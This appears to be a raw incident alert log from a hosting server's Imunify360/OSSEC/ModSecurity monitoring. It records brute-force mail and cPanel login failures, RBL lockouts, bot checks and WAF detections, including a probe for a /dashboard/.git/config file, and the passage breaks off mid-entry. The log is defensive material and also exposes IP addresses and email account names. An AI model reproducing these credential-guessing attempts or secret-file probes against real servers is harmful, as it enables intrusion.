# incident

plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:05:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:05:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:05:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:06:22 dovecot_login authenticator failed for H=(zWyl3NzMBG) [141.98.10.175]:62726: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.187.165.109
country_id: 3469034
description:
[2026-06-15 21:06:29 +0000] info [cpaneld] 45.187.165.109 - cogerisq "GET /login/?login_only=1&user=cogerisq&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogerisq (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.224.0.50
country_id: 99237
description:
[2026-06-15 21:06:36 +0000] info [cpaneld] 169.224.0.50 - cogeris "GET /login/?login_only=1&user=cogeris&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogeris (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:06:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.227.187.34
country_id: 3469034
description:
[2026-06-15 21:06:25 +0000] info [cpaneld] 45.227.187.34 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 21:06:36 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:9963: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.142.201.26
country_id: 2750405
description:
[2026-06-15 21:06:38 +0000] info [cpaneld] 45.142.201.26 - aifkjzqm "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:07:41 dovecot_login authenticator failed for H=(pkmZwf8m) [141.98.10.175]:63337: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:07:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:08:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:08:39 dovecot_login authenticator failed for H=(p63Lr1u8yh) [141.98.10.175]:59772: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.232.252
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:45.147.232.252||TA:45.147.232.252||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:08:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988295&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781557735 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:09:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:09:32 dovecot_login authenticator failed for H=(ri8RrABvf) [141.98.10.175]:57531: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.151.67
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:148.135.151.67||TA:148.135.151.67||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:10:25 dovecot_login authenticator failed for H=(CbSqeyD) [141.98.10.175]:56671: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.147.132.92
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:142.147.132.92||TA:142.147.132.92||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.120.146
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:216.173.120.146||TA:216.173.120.146||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:10:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.224.219
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:38.154.224.219||TA:38.154.224.219||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.18
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:192.227.131.18||TA:192.227.131.18||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.199
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:192.227.131.199||TA:192.227.131.199||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:11:21 dovecot_login authenticator failed for H=(s8sFkTpVk) [141.98.10.175]:57524: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.120.42
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:216.173.120.42||TA:216.173.120.42||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 204.217.245.177
country_id: 2635167
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:204.217.245.177||TA:204.217.245.177||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:11:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 145.223.46.130
country_id: 2635167
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:145.223.46.130||TA:145.223.46.130||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-15 21:13:20 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:57568: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:12:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.154.155.115
country_id: 2921044
description:
Jun 15 21:12:56 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.154.155.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:12:40 dovecot_login authenticator failed for H=(x7neIimF) [141.98.10.175]:57558: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.46.202.181
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:198.46.202.181||TA:198.46.202.181||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 155.254.39.105
country_id: 2635167
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:155.254.39.105||TA:155.254.39.105||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.154.155.115
country_id: 2921044
description:
2026-06-15 21:12:58 dovecot_plain authenticator failed for H=ip217-154-155-115.pbiaas.com (xvaypyspoonuq7dw5a1cj6x3) [217.154.155.115]:33088: 535 Incorrect authentication data (set_id=mesys@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:12:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.49.63.68
country_id: 6252001
domain: www.account.cloud-et-racks.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:13:28 dovecot_login authenticator failed for H=(K6wnQiDT6G) [141.98.10.175]:50488: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:13:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:14:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:14:23 dovecot_login authenticator failed for H=(9f6whtlHX) [141.98.10.175]:58482: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:15:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:15:43 dovecot_login authenticator failed for H=(Utu5KD) [141.98.10.175]:57316: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:16:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:16:35 dovecot_login authenticator failed for H=(RSxfoK) [141.98.10.175]:52316: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.141.216.143
country_id: 298795
description:
Jun 15 21:17:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.141.216.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:17:24 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:17:26 dovecot_login authenticator failed for H=(n1HOKX) [141.98.10.175]:52291: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:18:21 dovecot_login authenticator failed for H=(Z8hMXVkFmo) [141.98.10.175]:52388: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.236.139.113
country_id: 3469034
description:
[2026-06-15 21:18:45 +0000] info [cpaneld] 45.236.139.113 - letabloidtg "GET /login/?login_only=1&user=letabloidtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloidtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.78.226.88
country_id: 1210997
description:
[2026-06-15 21:18:51 +0000] info [cpaneld] 103.78.226.88 - letablo "GET /login/?login_only=1&user=letablo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letablo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.141.64.12
country_id: 1210997
description:
[2026-06-15 21:18:40 +0000] info [cpaneld] 103.141.64.12 - letabloid "GET /login/?login_only=1&user=letabloid&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloid (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:18:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.46.60
country_id: 1733045
description:
[2026-06-15 21:19:11 +0000] info [cpaneld] 180.75.46.60 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:19:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:19:36 dovecot_login authenticator failed for H=(m1NhKFHNId) [141.98.10.175]:53221: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 21:19:45 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:9412: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:20:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:20:28 dovecot_login authenticator failed for H=(nFk5Ev69P) [141.98.10.175]:52720: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:20:53 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:22:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:22:20 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:21:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:21:40 dovecot_login authenticator failed for H=(wRH9eL) [141.98.10.175]:62934: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:22:30 dovecot_login authenticator failed for H=(pJa1d1J) [141.98.10.175]:62319: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:22:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [15/Jun/2026:21:23:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9541783&pdata=https%253A%252F%252Fca-togo.org%252Fimp%252Fenglish%252Findex1.php%253FpageID%253D15&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781558602 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org/imp/english/index1.php?pageID=15" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:23:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:23:45 dovecot_login authenticator failed for H=(B26pguyOs) [141.98.10.175]:63281: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.198.32
country_id: 248816
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/alain/tg1.html HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:24:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:24:35 dovecot_login authenticator failed for H=(ke1N7p3tS) [141.98.10.175]:52397: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:24:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920082&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781558679 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.198.32
country_id: 248816
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/alain/tg1.html HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:25:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:25:25 dovecot_login authenticator failed for H=(4dxZCJ2AT) [141.98.10.175]:64122: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.64.210.107
country_id: 294640
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/?p=523 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:26:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:26:36 dovecot_login authenticator failed for H=(rFKopxYTSJ) [141.98.10.175]:49724: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.64.210.107
country_id: 294640
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=523 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:27:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:27:28 dovecot_login authenticator failed for H=(CWypMtvbt) [141.98.10.175]:64517: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:27:48 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.32
country_id: 3175395
description:
Jun 15 21:28:05 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.32 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.14.20.62
country_id: 2802361
domain: ns5mail.netmaster.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dashboard/.git/config||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:28:43 dovecot_login authenticator failed for H=(SHDAkK8d0) [141.98.10.175]:60099: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.236.126.61
country_id: 3895114
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=120 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:28:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.236.126.61
country_id: 3895114
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/?p=120 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:29:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:29:33 dovecot_login authenticator failed for H=(lLSBXz) [141.98.10.175]:50501: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:30:27 dovecot_login authenticator failed for H=(lXz23WNb6) [141.98.10.175]:64598: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 82.139.195.194
country_id: 2589581
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:30:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
